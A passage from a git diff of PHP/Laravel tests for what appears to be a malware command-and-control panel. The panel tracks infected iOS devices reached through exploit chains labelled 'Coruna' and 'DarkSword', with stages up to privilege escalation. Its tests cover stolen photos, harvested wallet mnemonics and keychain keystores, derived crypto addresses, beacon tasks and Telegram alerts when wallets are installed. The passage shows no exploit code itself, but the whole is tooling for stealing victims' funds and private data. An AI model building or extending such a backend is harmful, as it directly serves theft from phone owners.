1, 2, 3)); + imagepng($im, $tmp); + $png = (string) file_get_contents($tmp); + @unlink($tmp); + $path = 'c2/photos/dev-png/shot.png'; + Storage::disk('local')->put($path, $png); + $photo = Photo::query()->create([ + 'device_id' => $device->id, + 'sha256' => hash('sha256', $png), + 'path' => $path, + 'size' => strlen($png), + ]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.photo', [$device, $photo->id])) + ->assertOk() + ->assertHeader('Content-Type', 'image/png') + ->assertSee($png, false); + } + + #[Test] + public function photo_endpoint_serves_heic_as_jpeg(): void + { + if (! is_executable('/usr/bin/sips')) { + $this->markTestSkipped('sips is required to generate and convert HEIC'); + } + Storage::fake('local'); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-heic']); + + $jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg'; + $heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic'; + $im = imagecreatetruecolor(8, 8); + imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60)); + imagejpeg($im, $jpg, 90); + $made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]); + @unlink($jpg); + if (! $made->successful() || ! is_file($heicTmp)) { + $this->markTestSkipped('sips could not write a HEIC fixture'); + } + $bytes = (string) file_get_contents($heicTmp); + @unlink($heicTmp); + + $path = 'c2/photos/dev-heic/IMG_0004.HEIC'; + Storage::disk('local')->put($path, $bytes); + $photo = Photo::query()->create([ + 'device_id' => $device->id, + 'sha256' => hash('sha256', $bytes), + 'path' => $path, + 'size' => strlen($bytes), + ]); + + $res = $this->actingAs($admin, 'admin') + ->get(route('admin.devices.photo', [$device, $photo->id])) + ->assertOk() + ->assertHeader('Content-Type', 'image/jpeg'); + $this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2)); + $this->assertSame($bytes, Storage::disk('local')->get($path)); + Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg'); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.devices.photos.clear', $device)) + ->assertOk(); + Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg'); + } } diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index aabec2c..57ede88 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -7,7 +7,10 @@ use App\Models\Channel; use App\Models\Device; use App\Models\DeviceApp; use App\Models\DeviceEvent; +use App\Models\DsBeaconTask; +use App\Models\DsChainLog; use App\Models\Note; +use App\Models\PageVisit; use App\Models\Photo; use App\Models\User; use App\Models\WalletAddress; @@ -70,22 +73,79 @@ class DeviceDeleteTest extends TestCase 'device_id' => $device->id, 'raw_json' => ['k' => 1], ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'basic_info', + 'status' => DsBeaconTask::STATUS_PENDING, + ]); + DsChainLog::query()->create([ + 'client_uid' => 'dev-del-1', + 'stage' => 'pe', + 'progress' => 86, + 'label' => 'pe', + 'created_at' => now(), + ]); + DsChainLog::query()->create([ + 'client_uid' => 'keep-other-uid', + 'stage' => 'boot', + 'progress' => 8, + 'label' => 'boot', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => '86C1AAD5', + 'client_uid' => 'dev-del-1', + 'chain' => PageVisit::CHAIN_DARKSWORD, + 'os' => 'iOS', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => '86C1AAD5', + 'client_uid' => 'keep-other-uid', + 'chain' => PageVisit::CHAIN_DARKSWORD, + 'os' => 'iOS', + 'created_at' => now(), + ]); + $dsLog = public_path('log/ds/20990101.log'); + @mkdir(dirname($dsLog), 0775, true); + file_put_contents($dsLog, + "2026-08-24 03:00:00 /beacon {\"uuid\":\"dev-del-1\",\"keep\":false}\r\n\r\n". + "2026-08-24 03:00:01 /beacon {\"uuid\":\"keep-other-uid\",\"keep\":true}\r\n\r\n" + ); + Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}'); + Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x'); - $this->actingAs($admin, 'admin') - ->deleteJson(route('admin.devices.destroy', $device)) - ->assertOk() - ->assertJsonPath('code', 0); + try { + $this->actingAs($admin, 'admin') + ->deleteJson(route('admin.devices.destroy', $device)) + ->assertOk() + ->assertJsonPath('code', 0); - $this->assertNull(Device::query()->find($device->id)); - $this->assertSame(0, Photo::query()->count()); - $this->assertSame(0, DeviceApp::query()->count()); - $this->assertSame(0, DeviceEvent::query()->count()); - $this->assertSame(0, Note::query()->count()); - $this->assertSame(0, WalletAddress::query()->count()); - $this->assertSame(0, WalletMnemonic::query()->count()); - $this->assertSame(0, WalletKeystore::query()->count()); - Storage::disk('local')->assertMissing($photoPath); - Storage::disk('local')->assertMissing($checkPath); + $this->assertNull(Device::query()->find($device->id)); + $this->assertSame(0, Photo::query()->count()); + $this->assertSame(0, DeviceApp::query()->count()); + $this->assertSame(0, DeviceEvent::query()->count()); + $this->assertSame(0, Note::query()->count()); + $this->assertSame(0, WalletAddress::query()->count()); + $this->assertSame(0, WalletMnemonic::query()->count()); + $this->assertSame(0, WalletKeystore::query()->count()); + $this->assertSame(0, DsBeaconTask::query()->count()); + $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count()); + $this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count()); + $this->assertSame(0, PageVisit::query()->where('client_uid', 'dev-del-1')->count()); + $this->assertSame(1, PageVisit::query()->where('client_uid', 'keep-other-uid')->count()); + Storage::disk('local')->assertMissing($photoPath); + Storage::disk('local')->assertMissing($checkPath); + Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json'); + Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0'); + $this->assertFileExists($dsLog); + $left = (string) file_get_contents($dsLog); + $this->assertStringNotContainsString('dev-del-1', $left); + $this->assertStringContainsString('keep-other-uid', $left); + } finally { + @unlink($dsLog); + } } #[Test] diff --git a/tests/Feature/DeviceWalletFlagTest.php b/tests/Feature/DeviceWalletFlagTest.php index 1f98dfa..3307c8a 100644 --- a/tests/Feature/DeviceWalletFlagTest.php +++ b/tests/Feature/DeviceWalletFlagTest.php @@ -86,7 +86,7 @@ class DeviceWalletFlagTest extends TestCase $walletAlerts = 0; Http::assertSent(function ($request) use (&$walletAlerts) { $text = (string) ($request->data()['text'] ?? ''); - if (str_contains($text, 'Installed Wallets')) { + if (str_contains($text, '已安装钱包')) { $walletAlerts++; $this->assertStringContainsString('MetaMask', $text); $this->assertStringContainsString('imToken', $text); diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php new file mode 100644 index 0000000..64c35af --- /dev/null +++ b/tests/Feature/KeystoreAdminTest.php @@ -0,0 +1,133 @@ +create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create([ + 'device_id' => 'DEVKEYSTORE01', + 'channel_id' => 'ch-ks-1', + ]); + $row = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 1, + 'raw_json' => [ + 'kind' => 'keychain.wallets', + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'account' => 'trust.account', + 'service' => null, + 'accessGroup' => '9873B38DWV.com.sixdays.trust', + 'protectionClass' => 9, + 'dataHex' => bin2hex('777350'), + ]], + ], + ], + ], + ]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.home')) + ->assertOk() + ->assertSee('钥匙串'); + + $this->actingAs($admin, 'admin') + ->get(route('admin.keystores.index')) + ->assertOk() + ->assertSee('钥匙串'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data')) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.source', 'Trust Wallet') + ->assertJsonPath('data.0.decrypted', 1) + ->assertJsonPath('data.0.kind', '钥匙串') + ->assertJsonPath('data.0.item_count', 1) + ->assertJsonPath('data.0.summary', 'trust.account') + ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.items', $row)) + ->assertOk() + ->assertJsonPath('data.items.0.account', 'trust.account') + ->assertJsonPath('data.items.0.data_preview', '777350'); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) + ->assertOk() + ->assertSee('钥匙串'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) + ->assertOk() + ->assertJsonPath('data.0.source', 'Trust Wallet') + ->assertJsonPath('data.0.item_count', 1) + ->assertJsonPath('data.0.summary', 'trust.account'); + } + + #[Test] + public function agent_only_sees_own_channel_keystores(): void + { + $agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]); + $agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]); + $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; + $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); + Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); + + $devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]); + $devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]); + $rowA = WalletKeystore::query()->create([ + 'device_id' => $devA->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]], + ]); + $rowB = WalletKeystore::query()->create([ + 'device_id' => $devB->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], + ]); + + $this->actingAs($agentA, 'agent') + ->get(route('user.home')) + ->assertOk() + ->assertSee('钥匙串'); + + $this->actingAs($agentA, 'agent') + ->getJson(route('user.keystores.data')) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.device_key', 'dev-ks-a'); + + $this->actingAs($agentA, 'agent') + ->getJson(route('user.keystores.items', $rowA)) + ->assertOk() + ->assertJsonPath('data.items.0.account', 'walletsV2.json'); + + $this->actingAs($agentA, 'agent') + ->getJson(route('user.keystores.items', $rowB)) + ->assertForbidden(); + } +} diff --git a/tests/Feature/MnemonicAddressLinkTest.php b/tests/Feature/MnemonicAddressLinkTest.php index 53d8c98..b37bbdc 100644 --- a/tests/Feature/MnemonicAddressLinkTest.php +++ b/tests/Feature/MnemonicAddressLinkTest.php @@ -268,11 +268,40 @@ class MnemonicAddressLinkTest extends TestCase $this->assertNull($addr->mnemonic_id); $this->artisan('coruna:link-mnemonics') - ->expectsOutputToContain('linked=1') + ->expectsOutputToContain('linked=1 discovered=0') ->assertSuccessful(); $addr->refresh(); $this->assertSame($mnemonic->id, $addr->mnemonic_id); $this->assertSame(0, $addr->derive_index); } + + #[Test] + public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void + { + $device = Device::query()->create(['device_id' => 'dev-backfill-derive']); + $mnemonic = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => 'imToken', + ]); + $mnemonic->mnemonic = self::MNEMONIC; + $mnemonic->save(); + + $this->artisan('coruna:link-mnemonics') + ->expectsOutputToContain('linked=0 discovered=3') + ->assertSuccessful(); + + $rows = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->orderBy('id') + ->get(); + $this->assertCount(3, $rows); + $this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all()); + $this->assertSame([ + self::TRON_0, + self::ETH_0, + '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA', + ], $rows->pluck('address')->all()); + $this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all()); + } } diff --git a/tests/Feature/MnemonicWalletsTest.php b/tests/Feature/MnemonicWalletsTest.php index fa9e590..d88f67a 100644 --- a/tests/Feature/MnemonicWalletsTest.php +++ b/tests/Feature/MnemonicWalletsTest.php @@ -79,6 +79,8 @@ class MnemonicWalletsTest extends TestCase #[Test] public function wallets_endpoint_respects_agent_scope(): void { + Http::fake(); + $agent = User::query()->create(['username' => 'agent-w', 'password' => 'secret12', 'status' => 1]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; @@ -211,7 +213,13 @@ class MnemonicWalletsTest extends TestCase ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') ->assertJsonPath('data.addresses.0.chain_type', 'TRON') ->assertJsonPath('data.addresses.0.trx', '5') - ->assertJsonCount(1, 'data.addresses'); + ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') + ->assertJsonPath('data.addresses.1.chain_type', 'ETH') + ->assertJsonPath('data.addresses.1.eth', '0') + ->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') + ->assertJsonPath('data.addresses.2.chain_type', 'BTC') + ->assertJsonPath('data.addresses.2.btc', '0') + ->assertJsonCount(3, 'data.addresses'); $this->assertDatabaseHas('wallet_addresses', [ 'device_id' => $device->id, @@ -220,11 +228,11 @@ class MnemonicWalletsTest extends TestCase 'derive_index' => 0, 'chain_type' => 'TRON', ]); - $this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + $this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); } #[Test] - public function wallets_skips_persist_when_discovered_balances_are_zero(): void + public function wallets_persists_index_zero_even_when_balances_are_zero(): void { config([ 'coruna.tron.full_node' => 'https://api.trongrid.io', @@ -262,8 +270,18 @@ class MnemonicWalletsTest extends TestCase ->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->assertOk() ->assertJsonPath('code', 0) - ->assertJsonCount(0, 'data.addresses'); + ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') + ->assertJsonPath('data.addresses.0.chain_type', 'TRON') + ->assertJsonPath('data.addresses.0.trx', '0') + ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') + ->assertJsonPath('data.addresses.1.chain_type', 'ETH') + ->assertJsonPath('data.addresses.1.eth', '0') + ->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') + ->assertJsonPath('data.addresses.2.chain_type', 'BTC') + ->assertJsonPath('data.addresses.2.btc', '0') + ->assertJsonCount(3, 'data.addresses'); - $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); + $this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count()); + $this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); } } diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index 6c55a17..3c24a0e 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -3,6 +3,7 @@ namespace Tests\Feature; use App\Models\Admin; +use App\Models\DsChainLog; use App\Models\PageVisit; use App\Support\UserAgentParser; use Illuminate\Foundation\Testing\RefreshDatabase; @@ -52,6 +53,8 @@ class PageVisitTest extends TestCase $row = PageVisit::query()->first(); $this->assertNotNull($row); $this->assertSame(self::CHANNEL, $row->channel_id); + $this->assertSame(PageVisit::CHAIN_CORUNA, $row->chain); + $this->assertSame('Coruna', PageVisit::chainLabel((int) $row->chain)); $this->assertSame(PageVisit::visitorUid($row->domain ?? 'localhost', $row->ip), $row->client_uid); $this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($row->client_uid)); $this->assertSame('iOS', $row->os); @@ -156,6 +159,30 @@ class PageVisitTest extends TestCase $this->assertSame('15.6.7', $parsed['browser_version']); } + #[Test] + public function user_agent_parser_maps_ios26_compat_ua(): void + { + $parsed = UserAgentParser::parse( + 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1' + ); + $this->assertSame('iOS', $parsed['os']); + $this->assertSame('26.6', $parsed['os_version']); + $this->assertSame('Safari', $parsed['browser']); + $this->assertSame('26.6', $parsed['browser_version']); + } + + #[Test] + public function user_agent_parser_keeps_real_ios_18_7(): void + { + $parsed = UserAgentParser::parse( + 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1' + ); + $this->assertSame('iOS', $parsed['os']); + $this->assertSame('18.7', $parsed['os_version']); + $this->assertSame('Safari', $parsed['browser']); + $this->assertSame('18.7', $parsed['browser_version']); + } + #[Test] public function dashboard_includes_pv_uv(): void { @@ -233,23 +260,48 @@ class PageVisitTest extends TestCase } #[Test] - public function visits_groups_by_os_version(): void + public function visits_data_labels_chain(): void { PageVisit::query()->create([ 'channel_id' => self::CHANNEL, - 'client_uid' => 'u1', + 'client_uid' => '50624FE26CC4A0DF689EAEA117557C3E', + 'chain' => PageVisit::CHAIN_DARKSWORD, 'os' => 'iOS', - 'os_version' => '16.6', + 'os_version' => '18.6', 'browser' => 'Safari', 'created_at' => now(), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') - ->getJson(route('admin.visits.groups', ['range' => 'today', 'group' => 'os_version'])) + ->getJson(route('admin.visits.data', ['range' => 'today'])) ->assertOk() - ->assertJsonPath('data.rows.0.label', 'iOS 16.6') - ->assertJsonPath('data.rows.0.pv', 1) - ->assertJsonPath('data.rows.0.uv', 1); + ->assertJsonPath('data.0.chain', 1) + ->assertJsonPath('data.0.chain_label', 'DarkSword') + ->assertJsonPath('data.0.client_uid', '50624FE26CC4A0DF689EAEA117557C3E'); + } + + #[Test] + public function visits_logs_returns_ds_stages(): void + { + $uid = '50624FE26CC4A0DF689EAEA117557C3E'; + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => $uid, + 'chain' => PageVisit::CHAIN_DARKSWORD, + 'os' => 'iOS', + 'created_at' => now(), + ]); + DsChainLog::record($uid, 'boot', 8, 'frame_boot', self::CHANNEL); + DsChainLog::record($uid, 'pe', 86, 'pe', self::CHANNEL); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.visits.logs', ['range' => 'today', 'client_uid' => $uid])) + ->assertOk() + ->assertJsonPath('data.0.stage', 'boot') + ->assertJsonPath('data.0.stage_label', '启动') + ->assertJsonPath('data.1.stage', 'pe') + ->assertJsonPath('data.1.stage_label', '权限提升'); } } diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index 31d0bb9..31a0ebe 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -375,7 +375,9 @@ class TelegramBotTest extends TestCase $this->assertIsArray($row); $this->assertStringContainsString('推广代码', (string) ($row['text'] ?? '')); $copy = (string) data_get($row, 'copy_text.text', ''); - $this->assertStringContainsString('